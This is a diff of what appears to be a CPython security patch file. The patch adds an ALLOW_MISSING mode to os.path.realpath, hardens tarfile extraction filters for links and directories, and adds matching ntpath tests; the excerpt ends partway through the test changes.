-index 52ff2af743af6c..9cdc16480f9afe 100644
---- a/Lib/ntpath.py
-+++ b/Lib/ntpath.py
-@@ -29,7 +29,7 @@
-            "abspath","curdir","pardir","sep","pathsep","defpath","altsep",
-            "extsep","devnull","realpath","supports_unicode_filenames","relpath",
-            "samefile", "sameopenfile", "samestat", "commonpath", "isjunction",
--           "isdevdrive"]
-+           "isdevdrive", "ALLOW_MISSING"]
- 
- def _get_bothseps(path):
-     if isinstance(path, bytes):
-@@ -601,9 +601,10 @@ def abspath(path):
-     from nt import _findfirstfile, _getfinalpathname, readlink as _nt_readlink
- except ImportError:
-     # realpath is a no-op on systems without _getfinalpathname support.
--    realpath = abspath
-+    def realpath(path, *, strict=False):
-+        return abspath(path)
- else:
--    def _readlink_deep(path):
-+    def _readlink_deep(path, ignored_error=OSError):
-         # These error codes indicate that we should stop reading links and
-         # return the path we currently have.
-         # 1: ERROR_INVALID_FUNCTION
-@@ -636,7 +637,7 @@ def _readlink_deep(path):
-                         path = old_path
-                         break
-                     path = normpath(join(dirname(old_path), path))
--            except OSError as ex:
-+            except ignored_error as ex:
-                 if ex.winerror in allowed_winerror:
-                     break
-                 raise
-@@ -645,7 +646,7 @@ def _readlink_deep(path):
-                 break
-         return path
- 
--    def _getfinalpathname_nonstrict(path):
-+    def _getfinalpathname_nonstrict(path, ignored_error=OSError):
-         # These error codes indicate that we should stop resolving the path
-         # and return the value we currently have.
-         # 1: ERROR_INVALID_FUNCTION
-@@ -673,17 +674,18 @@ def _getfinalpathname_nonstrict(path):
-             try:
-                 path = _getfinalpathname(path)
-                 return join(path, tail) if tail else path
--            except OSError as ex:
-+            except ignored_error as ex:
-                 if ex.winerror not in allowed_winerror:
-                     raise
-                 try:
-                     # The OS could not resolve this path fully, so we attempt
-                     # to follow the link ourselves. If we succeed, join the tail
-                     # and return.
--                    new_path = _readlink_deep(path)
-+                    new_path = _readlink_deep(path,
-+                                              ignored_error=ignored_error)
-                     if new_path != path:
-                         return join(new_path, tail) if tail else new_path
--                except OSError:
-+                except ignored_error:
-                     # If we fail to readlink(), let's keep traversing
-                     pass
-                 # If we get these errors, try to get the real name of the file without accessing it.
-@@ -691,7 +693,7 @@ def _getfinalpathname_nonstrict(path):
-                     try:
-                         name = _findfirstfile(path)
-                         path, _ = split(path)
--                    except OSError:
-+                    except ignored_error:
-                         path, name = split(path)
-                 else:
-                     path, name = split(path)
-@@ -721,6 +723,15 @@ def realpath(path, *, strict=False):
-             if normcase(path) == devnull:
-                 return '\\\\.\\NUL'
-         had_prefix = path.startswith(prefix)
-+
-+        if strict is ALLOW_MISSING:
-+            ignored_error = FileNotFoundError
-+            strict = True
-+        elif strict:
-+            ignored_error = ()
-+        else:
-+            ignored_error = OSError
-+
-         if not had_prefix and not isabs(path):
-             path = join(cwd, path)
-         try:
-@@ -728,17 +739,16 @@ def realpath(path, *, strict=False):
-             initial_winerror = 0
-         except ValueError as ex:
-             # gh-106242: Raised for embedded null characters
--            # In strict mode, we convert into an OSError.
-+            # In strict modes, we convert into an OSError.
-             # Non-strict mode returns the path as-is, since we've already
-             # made it absolute.
-             if strict:
-                 raise OSError(str(ex)) from None
-             path = normpath(path)
--        except OSError as ex:
--            if strict:
--                raise
-+        except ignored_error as ex:
-             initial_winerror = ex.winerror
--            path = _getfinalpathname_nonstrict(path)
-+            path = _getfinalpathname_nonstrict(path,
-+                                               ignored_error=ignored_error)
-         # The path returned by _getfinalpathname will always start with \\?\ -
-         # strip off that prefix unless it was already provided on the original
-         # path.
-diff --git a/Lib/posixpath.py b/Lib/posixpath.py
-index db72ded8826056..d38f3bd5872bcd 100644
---- a/Lib/posixpath.py
-+++ b/Lib/posixpath.py
-@@ -36,7 +36,7 @@
-            "samefile","sameopenfile","samestat",
-            "curdir","pardir","sep","pathsep","defpath","altsep","extsep",
-            "devnull","realpath","supports_unicode_filenames","relpath",
--           "commonpath", "isjunction","isdevdrive"]
-+           "commonpath", "isjunction","isdevdrive","ALLOW_MISSING"]
- 
- 
- def _get_sep(path):
-@@ -402,10 +402,18 @@ def realpath(filename, *, strict=False):
-         curdir = '.'
-         pardir = '..'
-         getcwd = os.getcwd
--    return _realpath(filename, strict, sep, curdir, pardir, getcwd)
-+    if strict is ALLOW_MISSING:
-+        ignored_error = FileNotFoundError
-+        strict = True
-+    elif strict:
-+        ignored_error = ()
-+    else:
-+        ignored_error = OSError
-+
-+    lstat = os.lstat
-+    readlink = os.readlink
-+    maxlinks = None
- 
--def _realpath(filename, strict=False, sep=sep, curdir=curdir, pardir=pardir,
--              getcwd=os.getcwd, lstat=os.lstat, readlink=os.readlink, maxlinks=None):
-     # The stack of unresolved path parts. When popped, a special value of None
-     # indicates that a symlink target has been resolved, and that the original
-     # symlink path can be retrieved by popping again. The [::-1] slice is a
-@@ -477,27 +485,28 @@ def _realpath(filename, strict=False, sep=sep, curdir=curdir, pardir=pardir,
-                 path = newpath
-                 continue
-             target = readlink(newpath)
--        except OSError:
--            if strict:
--                raise
--            path = newpath
-+        except ignored_error:
-+            pass
-+        else:
-+            # Resolve the symbolic link
-+            if target.startswith(sep):
-+                # Symlink target is absolute; reset resolved path.
-+                path = sep
-+            if maxlinks is None:
-+                # Mark this symlink as seen but not fully resolved.
-+                seen[newpath] = None
-+                # Push the symlink path onto the stack, and signal its specialness
-+                # by also pushing None. When these entries are popped, we'll
-+                # record the fully-resolved symlink target in the 'seen' mapping.
-+                rest.append(newpath)
-+                rest.append(None)
-+            # Push the unresolved symlink target parts onto the stack.
-+            target_parts = target.split(sep)[::-1]
-+            rest.extend(target_parts)
-+            part_count += len(target_parts)
-             continue
--        # Resolve the symbolic link
--        if target.startswith(sep):
--            # Symlink target is absolute; reset resolved path.
--            path = sep
--        if maxlinks is None:
--            # Mark this symlink as seen but not fully resolved.
--            seen[newpath] = None
--            # Push the symlink path onto the stack, and signal its specialness
--            # by also pushing None. When these entries are popped, we'll
--            # record the fully-resolved symlink target in the 'seen' mapping.
--            rest.append(newpath)
--            rest.append(None)
--        # Push the unresolved symlink target parts onto the stack.
--        target_parts = target.split(sep)[::-1]
--        rest.extend(target_parts)
--        part_count += len(target_parts)
-+        # An error occurred and was ignored.
-+        path = newpath
- 
-     return path
- 
-diff --git a/Lib/tarfile.py b/Lib/tarfile.py
-index 212b71f6509740..068aa13ed70356 100644
---- a/Lib/tarfile.py
-+++ b/Lib/tarfile.py
-@@ -67,7 +67,7 @@
-            "DEFAULT_FORMAT", "open","fully_trusted_filter", "data_filter",
-            "tar_filter", "FilterError", "AbsoluteLinkError",
-            "OutsideDestinationError", "SpecialFileError", "AbsolutePathError",
--           "LinkOutsideDestinationError"]
-+           "LinkOutsideDestinationError", "LinkFallbackError"]
- 
- 
- #---------------------------------------------------------
-@@ -766,10 +766,22 @@ def __init__(self, tarinfo, path):
-         super().__init__(f'{tarinfo.name!r} would link to {path!r}, '
-                          + 'which is outside the destination')
- 
-+class LinkFallbackError(FilterError):
-+    def __init__(self, tarinfo, path):
-+        self.tarinfo = tarinfo
-+        self._path = path
-+        super().__init__(f'link {tarinfo.name!r} would be extracted as a '
-+                         + f'copy of {path!r}, which was rejected')
-+
-+# Errors caused by filters -- both "fatal" and "non-fatal" -- that
-+# we consider to be issues with the argument, rather than a bug in the
-+# filter function
-+_FILTER_ERRORS = (FilterError, OSError, ExtractError)
-+
- def _get_filtered_attrs(member, dest_path, for_data=True):
-     new_attrs = {}
-     name = member.name
--    dest_path = os.path.realpath(dest_path)
-+    dest_path = os.path.realpath(dest_path, strict=os.path.ALLOW_MISSING)
-     # Strip leading / (tar's directory separator) from filenames.
-     # Include os.sep (target OS directory separator) as well.
-     if name.startswith(('/', os.sep)):
-@@ -779,7 +791,8 @@ def _get_filtered_attrs(member, dest_path, for_data=True):
-         # For example, 'C:/foo' on Windows.
-         raise AbsolutePathError(member)
-     # Ensure we stay in the destination
--    target_path = os.path.realpath(os.path.join(dest_path, name))
-+    target_path = os.path.realpath(os.path.join(dest_path, name),
-+                                   strict=os.path.ALLOW_MISSING)
-     if os.path.commonpath([target_path, dest_path]) != dest_path:
-         raise OutsideDestinationError(member, target_path)
-     # Limit permissions (no high bits, and go-w)
-@@ -817,6 +830,9 @@ def _get_filtered_attrs(member, dest_path, for_data=True):
-         if member.islnk() or member.issym():
-             if os.path.isabs(member.linkname):
-                 raise AbsoluteLinkError(member)
-+            normalized = os.path.normpath(member.linkname)
-+            if normalized != member.linkname:
-+                new_attrs['linkname'] = normalized
-             if member.issym():
-                 target_path = os.path.join(dest_path,
-                                            os.path.dirname(name),
-@@ -824,7 +840,8 @@ def _get_filtered_attrs(member, dest_path, for_data=True):
-             else:
-                 target_path = os.path.join(dest_path,
-                                            member.linkname)
--            target_path = os.path.realpath(target_path)
-+            target_path = os.path.realpath(target_path,
-+                                           strict=os.path.ALLOW_MISSING)
-             if os.path.commonpath([target_path, dest_path]) != dest_path:
-                 raise LinkOutsideDestinationError(member, target_path)
-     return new_attrs
-@@ -2386,30 +2403,58 @@ def extractall(self, path=".", members=None, *, numeric_owner=False,
-             members = self
- 
-         for member in members:
--            tarinfo = self._get_extract_tarinfo(member, filter_function, path)
-+            tarinfo, unfiltered = self._get_extract_tarinfo(
-+                member, filter_function, path)
-             if tarinfo is None:
-                 continue
-             if tarinfo.isdir():
-                 # For directories, delay setting attributes until later,
-                 # since permissions can interfere with extraction and
-                 # extracting contents can reset mtime.
--                directories.append(tarinfo)
-+                directories.append(unfiltered)
-             self._extract_one(tarinfo, path, set_attrs=not tarinfo.isdir(),
--                              numeric_owner=numeric_owner)
-+                              numeric_owner=numeric_owner,
-+                              filter_function=filter_function)
- 
-         # Reverse sort directories.
-         directories.sort(key=lambda a: a.name, reverse=True)
- 
-+
-         # Set correct owner, mtime and filemode on directories.
--        for tarinfo in directories:
--            dirpath = os.path.join(path, tarinfo.name)
-+        for unfiltered in directories:
-             try:
-+                # Need to re-apply any filter, to take the *current* filesystem
-+                # state into account.
-+                try:
-+                    tarinfo = filter_function(unfiltered, path)
-+                except _FILTER_ERRORS as exc:
-+                    self._log_no_directory_fixup(unfiltered, repr(exc))
-+                    continue
-+                if tarinfo is None:
-+                    self._log_no_directory_fixup(unfiltered,
-+                                                 'excluded by filter')
-+                    continue
-+                dirpath = os.path.join(path, tarinfo.name)
-+                try:
-+                    lstat = os.lstat(dirpath)
-+                except FileNotFoundError:
-+                    self._log_no_directory_fixup(tarinfo, 'missing')
-+                    continue
-+                if not stat.S_ISDIR(lstat.st_mode):
-+                    # This is no longer a directory; presumably a later
-+                    # member overwrote the entry.
-+                    self._log_no_directory_fixup(tarinfo, 'not a directory')
-+                    continue
-                 self.chown(tarinfo, dirpath, numeric_owner=numeric_owner)
-                 self.utime(tarinfo, dirpath)
-                 self.chmod(tarinfo, dirpath)
-             except ExtractError as e:
-                 self._handle_nonfatal_error(e)
- 
-+    def _log_no_directory_fixup(self, member, reason):
-+        self._dbg(2, "tarfile: Not fixing up directory %r (%s)" %
-+                  (member.name, reason))
-+
-     def extract(self, member, path="", set_attrs=True, *, numeric_owner=False,
-                 filter=None):
-         """Extract a member from the archive to the current working directory,
-@@ -2425,41 +2470,56 @@ def extract(self, member, path="", set_attrs=True, *, numeric_owner=False,
-            String names of common filters are accepted.
-         """
-         filter_function = self._get_filter_function(filter)
--        tarinfo = self._get_extract_tarinfo(member, filter_function, path)
-+        tarinfo, unfiltered = self._get_extract_tarinfo(
-+            member, filter_function, path)
-         if tarinfo is not None:
-             self._extract_one(tarinfo, path, set_attrs, numeric_owner)
- 
-     def _get_extract_tarinfo(self, member, filter_function, path):
--        """Get filtered TarInfo (or None) from member, which might be a str"""
-+        """Get (filtered, unfiltered) TarInfos from *member*
-+
-+        *member* might be a string.
-+
-+        Return (None, None) if not found.
-+        """
-+
-         if isinstance(member, str):
--            tarinfo = self.getmember(member)
-+            unfiltered = self.getmember(member)
-         else:
--            tarinfo = member
-+            unfiltered = member
- 
--        unfiltered = tarinfo
-+        filtered = None
-         try:
--            tarinfo = filter_function(tarinfo, path)
-+            filtered = filter_function(unfiltered, path)
-         except (OSError, UnicodeEncodeError, FilterError) as e:
-             self._handle_fatal_error(e)
-         except ExtractError as e:
-             self._handle_nonfatal_error(e)
--        if tarinfo is None:
-+        if filtered is None:
-             self._dbg(2, "tarfile: Excluded %r" % unfiltered.name)
--            return None
-+            return None, None
-+
-         # Prepare the link target for makelink().
--        if tarinfo.islnk():
--            tarinfo = copy.copy(tarinfo)
--            tarinfo._link_target = os.path.join(path, tarinfo.linkname)
--        return tarinfo
-+        if filtered.islnk():
-+            filtered = copy.copy(filtered)
-+            filtered._link_target = os.path.join(path, filtered.linkname)
-+        return filtered, unfiltered
-+
-+    def _extract_one(self, tarinfo, path, set_attrs, numeric_owner,
-+                     filter_function=None):
-+        """Extract from filtered tarinfo to disk.
- 
--    def _extract_one(self, tarinfo, path, set_attrs, numeric_owner):
--        """Extract from filtered tarinfo to disk"""
-+           filter_function is only used when extracting a *different*
-+           member (e.g. as fallback to creating a symlink)
-+        """
-         self._check("r")
- 
-         try:
-             self._extract_member(tarinfo, os.path.join(path, tarinfo.name),
-                                  set_attrs=set_attrs,
--                                 numeric_owner=numeric_owner)
-+                                 numeric_owner=numeric_owner,
-+                                 filter_function=filter_function,
-+                                 extraction_root=path)
-         except (OSError, UnicodeEncodeError) as e:
-             self._handle_fatal_error(e)
-         except ExtractError as e:
-@@ -2517,9 +2577,13 @@ def extractfile(self, member):
-             return None
- 
-     def _extract_member(self, tarinfo, targetpath, set_attrs=True,
--                        numeric_owner=False):
--        """Extract the TarInfo object tarinfo to a physical
-+                        numeric_owner=False, *, filter_function=None,
-+                        extraction_root=None):
-+        """Extract the filtered TarInfo object tarinfo to a physical
-            file called targetpath.
-+
-+           filter_function is only used when extracting a *different*
-+           member (e.g. as fallback to creating a symlink)
-         """
-         # Fetch the TarInfo object for the given name
-         # and build the destination pathname, replacing
-@@ -2548,7 +2612,10 @@ def _extract_member(self, tarinfo, targetpath, set_attrs=True,
-         elif tarinfo.ischr() or tarinfo.isblk():
-             self.makedev(tarinfo, targetpath)
-         elif tarinfo.islnk() or tarinfo.issym():
--            self.makelink(tarinfo, targetpath)
-+            self.makelink_with_filter(
-+                tarinfo, targetpath,
-+                filter_function=filter_function,
-+                extraction_root=extraction_root)
-         elif tarinfo.type not in SUPPORTED_TYPES:
-             self.makeunknown(tarinfo, targetpath)
-         else:
-@@ -2631,10 +2698,18 @@ def makedev(self, tarinfo, targetpath):
-                  os.makedev(tarinfo.devmajor, tarinfo.devminor))
- 
-     def makelink(self, tarinfo, targetpath):
-+        return self.makelink_with_filter(tarinfo, targetpath, None, None)
-+
-+    def makelink_with_filter(self, tarinfo, targetpath,
-+                             filter_function, extraction_root):
-         """Make a (symbolic) link called targetpath. If it cannot be created
-           (platform limitation), we try to make a copy of the referenced file
-           instead of a link.
-+
-+          filter_function is only used when extracting a *different*
-+          member (e.g. as fallback to creating a link).
-         """
-+        keyerror_to_extracterror = False
-         try:
-             # For systems that support symbolic and hard links.
-             if tarinfo.issym():
-@@ -2642,18 +2717,38 @@ def makelink(self, tarinfo, targetpath):
-                     # Avoid FileExistsError on following os.symlink.
-                     os.unlink(targetpath)
-                 os.symlink(tarinfo.linkname, targetpath)
-+                return
-             else:
-                 if os.path.exists(tarinfo._link_target):
-                     os.link(tarinfo._link_target, targetpath)
--                else:
--                    self._extract_member(self._find_link_target(tarinfo),
--                                         targetpath)
-+                    return
-         except symlink_exception:
-+            keyerror_to_extracterror = True
-+
-+        try:
-+            unfiltered = self._find_link_target(tarinfo)
-+        except KeyError:
-+            if keyerror_to_extracterror:
-+                raise ExtractError(
-+                    "unable to resolve link inside archive") from None
-+            else:
-+                raise
-+
-+        if filter_function is None:
-+            filtered = unfiltered
-+        else:
-+            if extraction_root is None:
-+                raise ExtractError(
-+                    "makelink_with_filter: if filter_function is not None, "
-+                    + "extraction_root must also not be None")
-             try:
--                self._extract_member(self._find_link_target(tarinfo),
--                                     targetpath)
--            except KeyError:
--                raise ExtractError("unable to resolve link inside archive") from None
-+                filtered = filter_function(unfiltered, extraction_root)
-+            except _FILTER_ERRORS as cause:
-+                raise LinkFallbackError(tarinfo, unfiltered.name) from cause
-+        if filtered is not None:
-+            self._extract_member(filtered, targetpath,
-+                                 filter_function=filter_function,
-+                                 extraction_root=extraction_root)
- 
-     def chown(self, tarinfo, targetpath, numeric_owner):
-         """Set owner of targetpath according to tarinfo. If numeric_owner
-diff --git a/Lib/test/test_ntpath.py b/Lib/test/test_ntpath.py
-index f83ef225a6e48e..927a0befcc8c13 100644
---- a/Lib/test/test_ntpath.py
-+++ b/Lib/test/test_ntpath.py
-@@ -7,7 +7,8 @@
- import unittest
- import warnings
- from test.support import cpython_only, os_helper
--from test.support import TestFailed, is_emscripten
-+from test.support import TestFailed
-+from ntpath import ALLOW_MISSING
- from test.support.os_helper import FakePath
- from test import test_genericpath
- from tempfile import TemporaryFile
-@@ -77,6 +78,27 @@ def tester(fn, wantResult):
-               %(str(fn), str(wantResult), repr(gotResult)))
- 
- 
-+def _parameterize(*parameters):
-+    """Simplistic decorator to parametrize a test
-+
-+    Runs the decorated test multiple times in subTest, with a value from
-+    'parameters' passed as an extra positional argument.
-+    Calls doCleanups() after each run.
-+
-+    Not for general use. Intended to avoid indenting for easier backports.
-+
-+    See https://discuss.python.org/t/91827 for discussing generalizations.
-+    """
-+    def _parametrize_decorator(func):
-+        def _parameterized(self, *args, **kwargs):
-+            for parameter in parameters:
-+                with self.subTest(parameter):
-+                    func(self, *args, parameter, **kwargs)
-+                self.doCleanups()
-+        return _parameterized
-+    return _parametrize_decorator
-+
-+
- class NtpathTestCase(unittest.TestCase):
-     def assertPathEqual(self, path1, path2):
-         if path1 == path2 or _norm(path1) == _norm(path2):
-@@ -475,6 +497,27 @@ def test_realpath_curdir(self):
-         tester("ntpath.realpath('.\\.')", expected)
-         tester("ntpath.realpath('\\'.join(['.'] * 100))", expected)
- 
-+    def test_realpath_curdir_strict(self):
-+        expected = ntpath.normpath(os.getcwd())
-+        tester("ntpath.realpath('.', strict=True)", expected)
-+        tester("ntpath.realpath('./.', strict=True)", expected)
-+        tester("ntpath.realpath('/'.join(['.'] * 100), strict=True)", expected)
-+        tester("ntpath.realpath('.\\.', strict=True)", expected)
-+        tester("ntpath.realpath('\\'.join(['.'] * 100), strict=True)", expected)
-+
-+    def test_realpath_curdir_missing_ok(self):
-+        expected = ntpath.normpath(os.getcwd())
-+        tester("ntpath.realpath('.', strict=ALLOW_MISSING)",
-+               expected)
-+        tester("ntpath.realpath('./.', strict=ALLOW_MISSING)",
-+               expected)
-+        tester("ntpath.realpath('/'.join(['.'] * 100), strict=ALLOW_MISSING)",
-+               expected)
-+        tester("ntpath.realpath('.\\.', strict=ALLOW_MISSING)",
-+               expected)
-+        tester("ntpath.realpath('\\'.join(['.'] * 100), strict=ALLOW_MISSING)",
-+               expected)
-+
-     def test_realpath_pardir(self):
-         expected = ntpath.normpath(os.getcwd())
-         tester("ntpath.realpath('..')", ntpath.dirname(expected))
-@@ -487,24 +530,59 @@ def test_realpath_pardir(self):
-         tester("ntpath.realpath('\\'.join(['..'] * 50))",
-                ntpath.splitdrive(expected)[0] + '\\')
- 
-+    def test_realpath_pardir_strict(self):
-+        expected = ntpath.normpath(os.getcwd())
-+        tester("ntpath.realpath('..', strict=True)", ntpath.dirname(expected))
-+        tester("ntpath.realpath('../..', strict=True)",
-+               ntpath.dirname(ntpath.dirname(expected)))
-+        tester("ntpath.realpath('/'.join(['..'] * 50), strict=True)",
-+               ntpath.splitdrive(expected)[0] + '\\')
-+        tester("ntpath.realpath('..\\..', strict=True)",
-+               ntpath.dirname(ntpath.dirname(expected)))
-+        tester("ntpath.realpath('\\'.join(['..'] * 50), strict=True)",
-+               ntpath.splitdrive(expected)[0] + '\\')
-+
-+    def test_realpath_pardir_missing_ok(self):
-+        expected = ntpath.normpath(os.getcwd())
-+        tester("ntpath.realpath('..', strict=ALLOW_MISSING)",
-+               ntpath.dirname(expected))
-+        tester("ntpath.realpath('../..', strict=ALLOW_MISSING)",
-+               ntpath.dirname(ntpath.dirname(expected)))
-+        tester("ntpath.realpath('/'.join(['..'] * 50), strict=ALLOW_MISSING)",
-+               ntpath.splitdrive(expected)[0] + '\\')
-+        tester("ntpath.realpath('..\\..', strict=ALLOW_MISSING)",
-+               ntpath.dirname(ntpath.dirname(expected)))
-+        tester("ntpath.realpath('\\'.join(['..'] * 50), strict=ALLOW_MISSING)",
-+               ntpath.splitdrive(expected)[0] + '\\')
-+
-     @os_helper.skip_unless_symlink
-     @unittest.skipUnless(HAVE_GETFINALPATHNAME, 'need _getfinalpathname')
--    def test_realpath_basic(self):
-+    @_parameterize({}, {'strict': True}, {'strict': ALLOW_MISSING})
-+    def test_realpath_basic(self, kwargs):
-         ABSTFN = ntpath.abspath(os_helper.TESTFN)
-         open(ABSTFN, "wb").close()
-         self.addCleanup(os_helper.unlink, ABSTFN)
-         self.addCleanup(os_helper.unlink, ABSTFN + "1")
- 
-         os.symlink(ABSTFN, ABSTFN + "1")
--        self.assertPathEqual(ntpath.realpath(ABSTFN + "1"), ABSTFN)
--        self.assertPathEqual(ntpath.realpath(os.fsencode(ABSTFN + "1")),
-+        self.assertPathEqual(ntpath.realpath(ABSTFN + "1", **kwargs), ABSTFN)
-+        self.assertPathEqual(ntpath.realpath(os.fsencode(ABSTFN + "1"), **kwargs),
-                          os.fsencode(ABSTFN))
- 
-         # gh-88013: call ntpath.realpath with binary drive name may raise a
-         # TypeError. The drive should not exist to reproduce the bug.
-         drives = {f"{c}:\\" for c in string.ascii_uppercase} - set(os.listdrives())
-         d = drives.pop().encode()
--        self.assertEqual(ntpath.realpath(d), d)
-+        self.assertEqual(ntpath.realpath(d, strict=False), d)
-+
-+        # gh-106242: Embedded nulls and non-strict fallback to abspath
-+        if kwargs:
-+            with self.assertRaises(OSError):
-+                ntpath.realpath(os_helper.TESTFN + "\0spam",
-+                                **kwargs)
-+        else:
-+            self.assertEqual(ABSTFN + "\0spam",
-+                                ntpath.realpath(os_helper.TESTFN + "\0spam", **kwargs))
- 
-     @os_helper.skip_unless_symlink
-     @unittest.skipUnless(HAVE_GETFINALPATHNAME, 'need _getfinalpathname')
-@@ -527,51 +605,66 @@ def test_realpath_invalid_paths(self):
-         self.assertEqual(realpath(path, strict=False), path)
-         # gh-106242: Embedded nulls should raise OSError (not ValueError)
-         self.assertRaises(OSError, realpath, path, strict=True)
-+        self.assertRaises(OSError, realpath, path, strict=ALLOW_MISSING)
-         path = ABSTFNb + b'\x00'
-         self.assertEqual(realpath(path, strict=False), path)
-         self.assertRaises(OSError, realpath, path, strict=True)
-+        self.assertRaises(OSError, realpath, path, strict=ALLOW_MISSING)
-         path = ABSTFN + '\\nonexistent\\x\x00'
-         self.assertEqual(realpath(path, strict=False), path)
-         self.assertRaises(OSError, realpath, path, strict=True)
-+        self.assertRaises(OSError, realpath, path, strict=ALLOW_MISSING)
-         path = ABSTFNb + b'\\nonexistent\\x\x00'
-         self.assertEqual(realpath(path, strict=False), path)
-         self.assertRaises(OSError, realpath, path, strict=True)
-+        self.assertRaises(OSError, realpath, path, strict=ALLOW_MISSING)
-         path = ABSTFN + '\x00\\..'
-         self.assertEqual(realpath(path, strict=False), os.getcwd())
-         self.assertEqual(realpath(path, strict=True), os.getcwd())
-+        self.assertEqual(realpath(path, strict=ALLOW_MISSING), os.getcwd())
-         path = ABSTFNb + b'\x00\\..'
-         self.assertEqual(realpath(path, strict=False), os.getcwdb())
-         self.assertEqual(realpath(path, strict=True), os.getcwdb())
-+        self.assertEqual(realpath(path, strict=ALLOW_MISSING), os.getcwdb())
-         path = ABSTFN + '\\nonexistent\\x\x00\\..'
-         self.assertEqual(realpath(path, strict=False), ABSTFN + '\\nonexistent')
-         self.assertRaises(OSError, realpath, path, strict=True)
-+        self.assertEqual(realpath(path, strict=ALLOW_MISSING), ABSTFN + '\\nonexistent')
-         path = ABSTFNb + b'\\nonexistent\\x\x00\\..'
-         self.assertEqual(realpath(path, strict=False), ABSTFNb + b'\\nonexistent')
-         self.assertRaises(OSError, realpath, path, strict=True)
-+        self.assertEqual(realpath(path, strict=ALLOW_MISSING), ABSTFNb + b'\\nonexistent')
- 
-+    @unittest.skipUnless(HAVE_GETFINALPATHNAME, 'need _getfinalpathname')
-+    @_parameterize({}, {'strict': True}, {'strict': ALLOW_MISSING})
-+    def test_realpath_invalid_unicode_paths(self, kwargs):
-+        realpath = ntpath.realpath
-+        ABSTFN = ntpath.abspath(os_helper.TESTFN)
-+        ABSTFNb = os.fsencode(ABSTFN)
-         path = ABSTFNb + b'\xff'
--        self.assertRaises(UnicodeDecodeError, realpath, path, strict=False)
--        self.assertRaises(UnicodeDecodeError, realpath, path, strict=True)
-+        self.assertRaises(UnicodeDecodeError, realpath, path, **kwargs)
-+        self.assertRaises(UnicodeDecodeError, realpath, path, **kwargs)
-         path = ABSTFNb + b'\\nonexistent\\\xff'
--        self.assertRaises(UnicodeDecodeError, realpath, path, strict=False)
--        self.assertRaises(UnicodeDecodeError, realpath, path, strict=True)
-+        self.assertRaises(UnicodeDecodeError, realpath, path, **kwargs)
-+        self.assertRaises(UnicodeDecodeError, realpath, path, **kwargs)
-         path = ABSTFNb + b'\xff\\..'
--        self.assertRaises(UnicodeDecodeError, realpath, path, strict=False)
--        self.assertRaises(UnicodeDecodeError, realpath, path, strict=True)
-+        self.assertRaises(UnicodeDecodeError, realpath, path, **kwargs)
-+        self.assertRaises(UnicodeDecodeError, realpath, path, **kwargs)
-         path = ABSTFNb + b'\\nonexistent\\\xff\\..'
--        self.assertRaises(UnicodeDecodeError, realpath, path, strict=False)
--        self.assertRaises(UnicodeDecodeError, realpath, path, strict=True)
-+        self.assertRaises(UnicodeDecodeError, realpath, path, **kwargs)
-+        self.assertRaises(UnicodeDecodeError, realpath, path, **kwargs)
- 
-     @os_helper.skip_unless_symlink
-     @unittest.skipUnless(HAVE_GETFINALPATHNAME, 'need _getfinalpathname')
--    def test_realpath_relative(self):
-+    @_parameterize({}, {'strict': True}, {'strict': ALLOW_MISSING})
-+    def test_realpath_relative(self, kwargs):
-         ABSTFN = ntpath.abspath(os_helper.TESTFN)
-         open(ABSTFN, "wb").close()
-         self.addCleanup(os_helper.unlink, ABSTFN)
-         self.addCleanup(os_helper.unlink, ABSTFN + "1")
- 
-         os.symlink(ABSTFN, ntpath.relpath(ABSTFN + "1"))
--        self.assertPathEqual(ntpath.realpath(ABSTFN + "1"), ABSTFN)
-+        self.assertPathEqual(ntpath.realpath(ABSTFN + "1", **kwargs), ABSTFN)
- 
-     @os_helper.skip_unless_symlink
-     @unittest.skipUnless(HAVE_GETFINALPATHNAME, 'need _getfinalpathname')
-@@ -723,7 +816,62 @@ def test_realpath_symlink_loops_strict(self):
- 
-     @os_helper.skip_unless_symlink
-     @unittest.skipUnless(HAVE_GETFINALPATHNAME, 'need _getfinalpathname')
--    def test_realpath_symlink_prefix(self):
-+    def test_realpath_symlink_loops_raise(self):
-+        # Symlink loops raise OSError in ALLOW_MISSING mode
-+        ABSTFN = ntpath.abspath(os_helper.TESTFN)
-+        self.addCleanup(os_helper.unlink, ABSTFN)
-+        self.addCleanup(os_helper.unlink, ABSTFN + "1")
-+        self.addCleanup(os_helper.unlink, ABSTFN + "2")
-+        self.addCleanup(os_helper.unlink, ABSTFN + "y")
-+        self.addCleanup(os_helper.unlink, ABSTFN + "c")
-+        self.addCleanup(os_helper.unlink, ABSTFN + "a")
-+        self.addCleanup(os_helper.unlink, ABSTFN + "x")
-+
-+        os.symlink(ABSTFN, ABSTFN)
-+        self.assertRaises(OSError, ntpath.realpath, ABSTFN, strict=ALLOW_MISSING)
-+
-+        os.symlink(ABSTFN + "1", ABSTFN + "2")
-+        os.symlink(ABSTFN + "2", ABSTFN + "1")
-+        self.assertRaises(OSError, ntpath.realpath, ABSTFN + "1",
-+                            strict=ALLOW_MISSING)
-+        self.assertRaises(OSError, ntpath.realpath, ABSTFN + "2",
-+                            strict=ALLOW_MISSING)
-+        self.assertRaises(OSError, ntpath.realpath, ABSTFN + "1\\x",
-+                            strict=ALLOW_MISSING)
-+
-+        # Windows eliminates '..' components before resolving links;
-+        # realpath is not expected to raise if this removes the loop.
-+        self.assertPathEqual(ntpath.realpath(ABSTFN + "1\\.."),
-+                             ntpath.dirname(ABSTFN))
-+        self.assertPathEqual(ntpath.realpath(ABSTFN + "1\\..\\x"),
-+                             ntpath.dirname(ABSTFN) + "\\x")
-+
-+        os.symlink(ABSTFN + "x", ABSTFN + "y")
-+        self.assertPathEqual(ntpath.realpath(ABSTFN + "1\\..\\"
-+                                             + ntpath.basename(ABSTFN) + "y"),
-+                             ABSTFN + "x")
-+        self.assertRaises(
-+            OSError, ntpath.realpath,
-+            ABSTFN + "1\\..\\" + ntpath.basename(ABSTFN) + "1",
-+            strict=ALLOW_MISSING)
-+
-+        os.symlink(ntpath.basename(ABSTFN) + "a\\b", ABSTFN + "a")
-+        self.assertRaises(OSError, ntpath.realpath, ABSTFN + "a",
-+                            strict=ALLOW_MISSING)
-+
-+        os.symlink("..\\" + ntpath.basename(ntpath.dirname(ABSTFN))
-+                + "\\" + ntpath.basename(ABSTFN) + "c", ABSTFN + "c")
-+        self.assertRaises(OSError, ntpath.realpath, ABSTFN + "c",
-+                            strict=ALLOW_MISSING)
-+
-+        # Test using relative path as well.
-+        self.assertRaises(OSError, ntpath.realpath, ntpath.basename(ABSTFN),
-+                            strict=ALLOW_MISSING)
-+
-+    @os_helper.skip_unless_symlink
-+    @unittest.skipUnless(HAVE_GETFINALPATHNAME, 'need _getfinalpathname')
